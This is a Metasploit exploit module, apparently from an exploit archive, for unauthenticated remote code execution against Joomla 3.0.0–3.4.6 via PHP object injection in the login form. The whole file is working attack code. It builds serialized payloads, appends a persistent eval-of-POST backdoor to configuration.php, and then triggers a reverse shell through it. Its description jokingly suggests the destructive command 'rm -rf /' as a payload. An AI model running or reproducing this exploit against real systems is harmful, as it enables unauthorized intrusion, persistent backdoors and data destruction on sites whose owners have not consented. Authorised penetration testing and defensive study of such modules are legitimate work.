1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 |
# Exploit Title: Joomla! 3.4.6 - Remote Code Execution (Metasploit) # Google Dork: N/A # Date: 2019-10-02 # Exploit Author: Alessandro Groppo # Vendor Homepage: https//www.joomla.it/ # Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6 # Version: 3.0.0 --> 3.4.6 # Tested on: Linux # CVE : N/A ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HTTP::Joomla def initialize(info = {}) super(update_info(info, 'Name' => 'Rusty Joomla Unauthenticated Remote Code Execution', 'Description'=> %q{ PHP Object Injection because of a downsize in the read/write process with the database leads to RCE. The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter. That's because the exploit is more reliabale (doesn't rely on common disabled function). For this reason, use it with caution and remember the house cleaning. Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy }, 'Author' => [ 'Alessandro \'kiks\' Groppo @Hacktive Security', ], 'License'=> MSF_LICENSE, 'References' => [ ['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41'], ['URL', 'https://github.com/kiks7/rusty_joomla_rce'] ], 'Privileged' => false, 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'Targets'=> [['Joomla 3.0.0 - 3.4.6', {}]], 'DisclosureDate' => 'Oct 022019', 'DefaultTarget'=> 0) ) register_advanced_options( [ OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]), ]) end def get_random_string(length=50) source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a key="" length.times{ key += source[rand(source.size)].to_s } return key end def get_session_token # Get session token from cookies vprint_status('Getting Session Token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) cook = res.headers['Set-Cookie'].split(';')[0] vprint_status('Session cookie: ' + cook) return cook end def get_csrf_token(sess_cookie) vprint_status('Getting CSRF Token') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 'headers' => { 'Cookie' => sess_cookie, } }) html = res.get_html_document input_field = html.at('//form').xpath('//input')[-1] token = input_field.to_s.split(' ')[2] token = token.gsub('name="','').gsub('"','') if token then vprint_status('CSRF Token: ' + token) return token end print_error('Cannot get the CSRF Token ..') end def get_payload(function, payload) # @function: The PHP Function # @payload: The payload for the call template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values payload = 'http://l4m3rz.l337/;' + payload final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s) return final end def get_payload_backdoor(param_name) # return the backdoor payload # or better, the payload that will inject and eval function in configuration.php (in the root) # As said in other part of the code. we cannot create new .php file because we cannot use # the ? character because of the check on URI schema function = 'assert' template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}' # This payload will append an eval() at the end of the configuration file payload ="file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';" template['PAYLOAD']= payload template['LENGTH'] = payload.length.to_s template['FUNC_NAME'] = function template['FUNC_LEN'] = function.length.to_s return template end def check_by_exploiting # Check that is vulnerable by exploiting it and try to inject a printr('something') # Get the Session anb CidSRF Tokens sess_token = get_session_token() csrf_token = get_csrf_token(sess_token) print_status('Testing with a POC object payload') username_payload = '\\0\\0\\0' * 9 password_payload = 'AAA";' # close the prev object password_payload += get_payload('print_r','IAMSODAMNVULNERABLE') # actual payload password_payload += 's:6:"return":s:102:' # close cleanly the object res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 'method' => 'POST', 'headers'=> { 'Cookie' => sess_token, }, 'vars_post' => { 'username' => username_payload, 'password' => password_payload, 'option' => 'com_users', 'task' => 'user.login', csrf_token => '1', } }) # Redirect in order to retrieve the output if res.redirection then res_redirect = send_request_cgi({ 'method' => 'GET', 'uri' => res.redirection.to_s, 'headers' =>{ 'Cookie' => sess_token } }) if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then return true else return false end end end def check # Check if the target is UP and get the current version running by info leak res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')}) unless res print_error("Connection timed out") return Exploit::CheckCode::Unknown end # Parse XML to get the version if res.code == 200 then xml = res.get_xml_document version = xml.at('version').text print_status('Identified version ' + version) if version <= '3.4.6' and version >= '3.0.0' then if check_by_exploiting() return Exploit::CheckCode::Vulnerable else if check_by_exploiting() then # Try the POC 2 times. return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end else return Exploit::CheckCode::Safe end else print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable') if check_by_exploiting() then return Exploit::CheckCode::Vulnerable else if check_by_exploiting() then return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end end end def exploit if check == Exploit::CheckCode::Safe && !datastore['FORCE'] print_error('Target is not vulnerable') return end pwned = false cmd_param_name = get_random_string(50) sess_token = get_session_token() csrf_token = get_csrf_token(sess_token) # In order to avoid problems with disabled functions # We are gonna append an eval() function at the end of the configuration.php file # This will not cause any problem to Joomla and is a good way to execute then PHP directly # cuz assert is toot annoying and with conditions that we have we cannot inject some characters # So we will use 'assert' with file_put_contents to append the string. then create a reverse shell with this backdoor # Oh i forgot, We cannot create a new file because we cannot use the '?' character in order to be interpreted by the web server. # TODO: Add the PHP payload object to inject the backdoor inside the configuration.php file # Use the implanted backdoor to receive a nice little reverse shell with a PHP payload # Implant the backdoor vprint_status('Cooking the exploit ..') username_payload = '\\0\\0\\0' * 9 password_payload = 'AAA";' # close the prev object password_payload += get_payload_backdoor(cmd_param_name) # actual payload password_payload += 's:6:"return":s:102:' # close cleanly the object print_status('Sending exploit ..') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path,'/index.php/component/users'), 'method' => 'POST', 'headers'=> { 'Cookie' => sess_token }, 'vars_post' => { 'username' => username_payload, 'password' => password_payload, 'option' => 'com_users', 'task' => 'user.login', csrf_token => '1' } }) print_status('Triggering the exploit ..') if res.redirection then res_redirect = send_request_cgi({ 'method' => 'GET', 'uri' => res.redirection.to_s, 'headers' =>{ 'Cookie' => sess_token } }) end # Ping the backdoor see if everything is ok :/ res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'configuration.php'), 'vars_post'=> { cmd_param_name=> 'echo \'PWNED\';' } }) if res.to_s.include? 'PWNED' then print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST') print_status('Now it\'s time to reverse shell') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'configuration.php'), 'vars_post'=> { cmd_param_name=> payload.encoded } }) end end end |